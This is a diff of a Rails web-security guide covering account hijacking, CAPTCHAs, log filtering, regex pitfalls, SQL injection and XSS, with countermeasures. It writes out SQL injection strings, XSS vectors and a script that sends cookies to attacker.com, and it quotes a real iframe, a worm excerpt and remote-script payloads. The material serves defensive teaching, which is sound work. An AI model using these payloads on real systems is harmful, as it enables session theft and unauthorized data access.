7.2.2. E-Mail

-

However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.

+

However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker’s e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.

7.2.3. Other

-

Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.

+

Depending on your web application, there may be more ways to hijack the user’s account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.

7.3. CAPTCHAs

-

A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.

-

But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.

-

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. +

-- A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.

+

But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.

+

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.

-

Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

-

Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

-
    +

    Most bots are really dumb, they crawl the web and put their spam into every form’s field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

    +

    Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

    +
    • position the fields off of the visible area of the page @@ -894,9 +711,9 @@ leave the fields displayed, but tell humans to leave them blank

    -

    The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.

    -

    You can find more sophisticated negative CAPTCHAs in Ned Batchelder's blog post:

    -
      +

      The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.

      +

      You can find more sophisticated negative CAPTCHAs in Ned Batchelder’s blog post:

      +
      • Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. @@ -913,26 +730,25 @@ Include more than one honeypot field of all types, including submission buttons

      -

      Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.

      +

      Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.

      7.4. Logging

      -

      Tell Rails not to put passwords in the log files.

      -

      By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.

      +

      -- Tell Rails not to put passwords in the log files.

      +

      By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.

      -
      filter_parameter_logging :password
      -
      +
      filter_parameter_logging :password

7.5. Good passwords

-

Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.

-

Bruce Schneier, a security technologist, has analysed 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:

-

password1, abc123, myspace1, password, blink182, qwerty1, **you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.

-

It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.

-

A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the first letters of a sentence that you can easily remember. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.

+

-- Do you find it hard to remember all your passwords? Don’t write them down, but use the initial letters of each word in an easy to remember sentence.

+

Bruce Schneier, a security technologist, has analysed 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:

+

password1, abc123, myspace1, password, blink182, qwerty1, **you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.

+

It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today’s passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.

+

A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the first letters of a sentence that you can easily remember. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.

7.6. Regular expressions

-

A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.

-

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:

+

-- A common pitfall in Ruby’s regular expressions is to match the string’s beginning and end by ^ and $, instead of \A and \z.

+

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:

class File < ActiveRecord::Base
   validates_format_of :name, :with => /^[\w\.\-\+]+$/
-end
-
-

This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, in Ruby ^ and $ matches the line beginning and line end. And thus a file name like this passes the filter without problems:

+end
+

This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, in Ruby ^ and $ matches the line beginning and line end. And thus a file name like this passes the filter without problems:

file.txt%0A<script>alert('hello')</script>
-

Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert(hello)</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:

+

Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert(hello)</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:

/\A[\w\.\-\+]+\z/
-[source, ruby]
-
+[source, ruby]

7.7. Privilege escalation

-

Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

-

The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:

+

-- Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

+

The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:

-
@project = Project.find(params[:id])
-
-

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, query the user's access rights, too:

+
@project = Project.find(params[:id])
+

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, query the user’s access rights, too:

-
@project = @current_user.projects.find(params[:id])
-
-

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.

-

Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

+
@project = @current_user.projects.find(params[:id])
+

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.

+

Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form’s hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

8. Injection

-

Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

-

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

+

-- Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

+

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

8.1. Whitelists versus Blacklists

-

When sanitizing, protecting or verifying something, whitelists over blacklists.

-

A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), prefer to use whitelist approaches:

-
    +

    -- When sanitizing, protecting or verifying something, whitelists over blacklists.

    +

    A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), prefer to use whitelist approaches:

    +
    • -Use before_filter :only ⇒ […] instead of :except ⇒ […]. This way you don't forget to turn it off for newly added actions. +Use before_filter :only => [...] instead of :except => [...]. This way you don’t forget to turn it off for newly added actions.

    • @@ -1002,9 +814,9 @@ Allow <strong> instead of removing <script> against Cross-Site Scrip
    • -Don't try to correct user input by blacklists: +Don’t try to correct user input by blacklists:

      -
        +
        • This will make the attack work: "<sc<script>ript>".gsub("<script>", "") @@ -1018,199 +830,194 @@ But reject malformed input

      -

      Whitelists are also a good approach against the human factor of forgetting something in the blacklist.

      +

      Whitelists are also a good approach against the human factor of forgetting something in the blacklist.

      8.2. SQL Injection

      -

      Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

      +

      -- Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

      8.2.1. Introduction

      -

      SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

      +

      SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

      -
      Project.find(:all, :conditions => "name = '#{params[:name]}'")
      -
      -

      This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters OR 1=1, the resulting SQL query will be:

      +
      Project.find(:all, :conditions => "name = '#{params[:name]}'")
+

This could be in a search action and the user may enter a project’s name that he wants to find. If a malicious user enters OR 1=1, the resulting SQL query will be:

SELECT * FROM projects WHERE name = '' OR 1 --'
-

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

+

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

8.2.2. Bypassing authorization

-

Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

+

Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

-
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
-
-

If an attacker enters OR '1=1 as the name, and OR 2>'1 as the password, the resulting SQL query will be:

+
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
+

If an attacker enters OR '1=1 as the name, and ' OR '2>'1 as the password, the resulting SQL query will be:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-

This will simply find the first record in the database, and grants access to this user.

+

This will simply find the first record in the database, and grants access to this user.

8.2.3. Unauthorized reading

-

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:

+

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let’s take the example from above:

-
Project.find(:all, :conditions => "name = '#{params[:name]}'")
-
-

And now let's inject another query using the UNION statement:

+
Project.find(:all, :conditions => "name = '#{params[:name]}'")
+

And now let’s inject another query using the UNION statement:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-

This will result in the following SQL query:

+

This will result in the following SQL query:

SELECT * FROM projects WHERE (name = '') UNION
   SELECT id,login AS name,password AS description,1,1,1 FROM users --')
-

The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

-

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.

+

The result won’t be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That’s why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

+

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.

8.2.4. Countermeasures

-

Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]. But in SQL fragments, especially in conditions fragments (:conditions ⇒ "…"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.

-

Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:

+

Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]. But in SQL fragments, especially in conditions fragments (:conditions => "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.

+

Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:

-
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
-
-

As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:

+
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
+

As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:

-
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
-
-

The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.

+
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
+

The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.

8.3. Cross-Site Scripting (XSS)

-

The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

+

-- The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

8.3.1. Entry points

-

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

-

The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the Live HTTP Headers Firefox plugin, or client-site proxies make it easy to change requests.

-

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.

-

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations and many more high targets.

-

A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to Trend Micro.

+

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

+

The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the Live HTTP Headers Firefox plugin, or client-site proxies make it easy to change requests.

+

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.

+

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations and many more high targets.

+

A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to Trend Micro.

8.3.2. HTML/JavaScript Injection

-

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.

-

Here is the most straightforward test to check for XSS:

+

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.

+

Here is the most straightforward test to check for XSS:

<script>alert('Hello');</script>
-

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

+

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

<img src=javascript:alert('Hello')>
 <table background="javascript:alert('Hello')">
-

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

+

These examples don’t do any harm so far, so let’s see how an attacker can steal the user’s cookie (and thus hijack the user’s session). In JavaScript you can use the document.cookie property to read and write the document’s cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

<script>document.write(document.cookie);</script>
-

For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.

+

For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server’s access log files to see the victims cookie.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
-

The log files on www.attacker.com will read like this:

+

The log files on www.attacker.com will read like this:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

+

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

Defacement
-

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:

+

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:

<iframe name=â€StatPage†src="http://58.xx.xxx.xxx" width=5 height=5 style=â€display:noneâ€></iframe>
-

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.

-

A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

-

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson…":

+

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.

+

A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site’s original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

+

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
   <script src=http://www.securitylab.ru/test/sc.js></script><!--
Countermeasures
-

It is very important to filter malicious input, but it is also important to escape the output of the web application.

-

Especially for XSS, it is important to do whitelist input filtering instead of blacklist. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.

-

Imagine a blacklist deletes “script†from the user input. Now the attacker injects “<scrscriptipt>â€, and after the filter, “<script>†remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

+

It is very important to filter malicious input, but it is also important to escape the output of the web application.

+

Especially for XSS, it is important to do whitelist input filtering instead of blacklist. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.

+

Imagine a blacklist deletes “script†from the user input. Now the attacker injects “<scrscriptipt>â€, and after the filter, “<script>†remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

strip_tags("some<<b>script>alert('hello')<</b>/script>")
-

This returned "some<script>alert(hello)</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():

+

This returned "some<script>alert(hello)</script>", which makes an attack work. That’s why I vote for a whitelist approach, using the updated Rails 2 method sanitize():

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
 s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

-

As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so it is recommended to use the SafeErb plugin. SafeErb reminds you to escape strings from external sources.

+

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

+

As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn’t been input filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&, ", < and >). However, it can easily happen that the programmer forgets to use it, so it is recommended to use the SafeErb plugin. SafeErb reminds you to escape strings from external sources.

Obfuscation and Encoding Injection
-

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

+

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
   &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
-

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemyâ€, is the Hackvertor. Rails‘ sanitize() method does a good job to fend off encoding attacks.

+

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemyâ€, is the Hackvertor. Rails‘ sanitize() method does a good job to fend off encoding attacks.

8.3.3. Examples from the underground

-

In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.

-

The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:

+

-- In order to understand today’s attacks on web applications, it’s best to take a look at some real-world attack vectors.

+

The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
   target=""onload="var http_request = false;    var Email = '';
   var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
-

The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

-

